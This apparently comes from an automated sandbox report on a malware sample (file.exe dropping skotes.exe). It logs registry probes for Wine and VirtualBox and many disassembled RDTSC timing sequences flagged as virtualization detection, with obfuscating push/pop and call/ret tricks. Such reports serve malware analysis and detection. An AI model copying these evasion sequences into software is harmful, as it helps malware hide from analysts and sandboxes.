Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151FD9 second address: 1151FF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FECA473F0BDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151FF1 second address: 1151FF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151FF5 second address: 1151FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151FFD second address: 115200A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007FECA471BCA6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115218A second address: 115218E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115218E second address: 1152192 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11525AC second address: 11525B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FDFB41 second address: FDFB45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155781 second address: 1155785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155785 second address: 11557C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FECA471BCB3h 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FECA471BCADh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jmp 00007FECA471BCAEh 0x0000001b mov eax, dword ptr [eax] 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11557C6 second address: 11557CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11557CA second address: 1155806 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FECA471BCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007FECA471BCB2h 0x00000010 popad 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007FECA471BCAEh 0x0000001e popad 0x0000001f jbe 00007FECA471BCACh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155806 second address: 1155869 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 jmp 00007FECA473F0C6h 0x0000000b push 00000003h 0x0000000d jng 00007FECA473F0D4h 0x00000013 ja 00007FECA473F0CEh 0x00000019 push 00000000h 0x0000001b mov dword ptr [ebp+122D1859h], esi 0x00000021 push 00000003h 0x00000023 mov di, cx 0x00000026 mov ecx, 1C0AD300h 0x0000002b push DB180149h 0x00000030 jl 00007FECA473F0C4h 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155900 second address: 1155971 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007FECA471BCB8h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 jmp 00007FECA471BCB5h 0x00000019 popad 0x0000001a nop 0x0000001b jmp 00007FECA471BCAFh 0x00000020 push 00000000h 0x00000022 mov ecx, 06907246h 0x00000027 call 00007FECA471BCA9h 0x0000002c pushad 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1155971 second address: 115597C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115597C second address: 11559D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FECA471BCB4h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push edi 0x00000012 jmp 00007FECA471BCB5h 0x00000017 pop edi 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FECA471BCB9h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11559D0 second address: 11559F7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FECA473F0C8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11559F7 second address: 1155A81 instructions: 0x00000000 rdtsc 0x00000002 je 00007FECA471BCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FECA471BCA8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 adc di, C0CFh 0x0000002b push 00000003h 0x0000002d sub dword ptr [ebp+122D253Eh], edi 0x00000033 push 00000000h 0x00000035 sub ecx, dword ptr [ebp+122D38FDh] 0x0000003b push 00000003h 0x0000003d add edi, 15914281h 0x00000043 push 4A098DAAh 0x00000048 jc 00007FECA471BCB2h 0x0000004e jo 00007FECA471BCACh 0x00000054 jbe 00007FECA471BCA6h 0x0000005a add dword ptr [esp], 75F67256h 0x00000061 movsx esi, ax 0x00000064 mov dword ptr [ebp+122D25A5h], ebx 0x0000006a lea ebx, dword ptr [ebp+124495AEh] 0x00000070 mov edx, dword ptr [ebp+122D1FE7h] 0x00000076 xchg eax, ebx 0x00000077 push eax 0x00000078 push edx 0x00000079 jg 00007FECA471BCACh 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113B44A second address: 113B44E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113B44E second address: 113B454 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113B454 second address: 113B466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jbe 00007FECA473F0B6h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113B466 second address: 113B470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FECA471BCA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1173FF0 second address: 1173FF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1174896 second address: 117489C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117489C second address: 11748A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11748A1 second address: 11748BB instructions: 0x00000000 rdtsc 0x00000002 jg 00007FECA471BCAEh 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FECA471BCA6h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1174BF4 second address: 1174BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1174BF8 second address: 1174BFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1174D36 second address: 1174D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175160 second address: 1175166 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175166 second address: 1175178 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FECA473F0BBh 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175A33 second address: 1175A74 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FECA471BCA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FECA471BCAFh 0x0000000f jnc 00007FECA471BCC4h 0x00000015 push eax 0x00000016 push edx 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175BDF second address: 1175BF2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007FECA473F0B6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1175BF2 second address: 1175BF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C362 second address: 117C366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C366 second address: 117C36C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C36C second address: 117C372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117C5BC second address: 117C5C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11822ED second address: 11822FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007FECA473F0C2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118193D second address: 1181942 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182156 second address: 1182160 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FECA473F0B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182160 second address: 1182169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11851F2 second address: 1185208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA473F0C2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185208 second address: 118520C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185993 second address: 1185998 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185A0D second address: 1185A62 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 6CFF22A7h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007FECA471BCA8h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov di, A46Fh 0x0000002e mov esi, dword ptr [ebp+122D3116h] 0x00000034 push 6F44396Bh 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c push ebx 0x0000003d pop ebx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185A62 second address: 1185A66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185F0A second address: 1185F25 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jp 00007FECA471BCA6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d js 00007FECA471BCB2h 0x00000013 jc 00007FECA471BCACh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11860F8 second address: 11860FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11860FC second address: 1186100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186100 second address: 1186106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186236 second address: 118623A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118623A second address: 1186258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FECA473F0BCh 0x00000010 jp 00007FECA473F0B6h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11871E3 second address: 11871E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188C56 second address: 1188C6F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FECA473F0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b je 00007FECA473F0C2h 0x00000011 jbe 00007FECA473F0BCh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188C6F second address: 1188CCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 nop 0x00000005 push 00000000h 0x00000007 push edx 0x00000008 call 00007FECA471BCA8h 0x0000000d pop edx 0x0000000e mov dword ptr [esp+04h], edx 0x00000012 add dword ptr [esp+04h], 00000017h 0x0000001a inc edx 0x0000001b push edx 0x0000001c ret 0x0000001d pop edx 0x0000001e ret 0x0000001f cmc 0x00000020 push 00000000h 0x00000022 mov edi, dword ptr [ebp+122D39CDh] 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ebx 0x0000002d call 00007FECA471BCA8h 0x00000032 pop ebx 0x00000033 mov dword ptr [esp+04h], ebx 0x00000037 add dword ptr [esp+04h], 0000001Ah 0x0000003f inc ebx 0x00000040 push ebx 0x00000041 ret 0x00000042 pop ebx 0x00000043 ret 0x00000044 push eax 0x00000045 js 00007FECA471BCB0h 0x0000004b push eax 0x0000004c push edx 0x0000004d push edi 0x0000004e pop edi 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118A1DE second address: 118A1E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189F37 second address: 1189F6C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f js 00007FECA471BCA6h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FECA471BCAFh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118A1E2 second address: 118A1E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118AB10 second address: 118AB8E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FECA471BCACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FECA471BCA8h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push edx 0x00000028 adc edi, 6A02D360h 0x0000002e pop edi 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebp 0x00000034 call 00007FECA471BCA8h 0x00000039 pop ebp 0x0000003a mov dword ptr [esp+04h], ebp 0x0000003e add dword ptr [esp+04h], 00000017h 0x00000046 inc ebp 0x00000047 push ebp 0x00000048 ret 0x00000049 pop ebp 0x0000004a ret 0x0000004b clc 0x0000004c xchg eax, ebx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FECA471BCB8h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118AB8E second address: 118AB94 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118AB94 second address: 118ABAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECA471BCB6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B70B second address: 118B710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B3BA second address: 118B3C3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B3C3 second address: 118B3D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FECA473F0B6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B3D5 second address: 118B3D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FE5C second address: 118FE60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C9F8 second address: 118C9FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118C9FC second address: 118CA06 instructions: 0x00000000 rdtsc 0x00000002 js 00007FECA473F0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11902B5 second address: 11902BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119205A second address: 1192062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192312 second address: 1192316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192316 second address: 119231C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119516A second address: 119516E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119430D second address: 1194312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119516E second address: 119518E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FECA471BCB4h 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194312 second address: 1194317 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196232 second address: 1196283 instructions: 0x00000000 rdtsc 0x00000002 js 00007FECA471BCACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b movzx edi, ax 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FECA471BCA8h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a push 00000000h 0x0000002c add dword ptr [ebp+122D28C7h], edi 0x00000032 push eax 0x00000033 pushad 0x00000034 push eax 0x00000035 jl 00007FECA471BCA6h 0x0000003b pop eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1196283 second address: 1196287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11953C7 second address: 11953E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FECA471BCB5h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11971E9 second address: 11971ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11981E1 second address: 1198249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FECA471BCABh 0x0000000b je 00007FECA471BCA6h 0x00000011 popad 0x00000012 popad 0x00000013 mov dword ptr [esp], eax 0x00000016 mov di, 0727h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007FECA471BCA8h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 00000018h 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 pushad 0x00000037 mov dx, 846Ch 0x0000003b mov edx, dword ptr [ebp+122D254Eh] 0x00000041 popad 0x00000042 push 00000000h 0x00000044 mov bh, dh 0x00000046 xchg eax, esi 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FECA471BCB3h 0x0000004e rdtsc
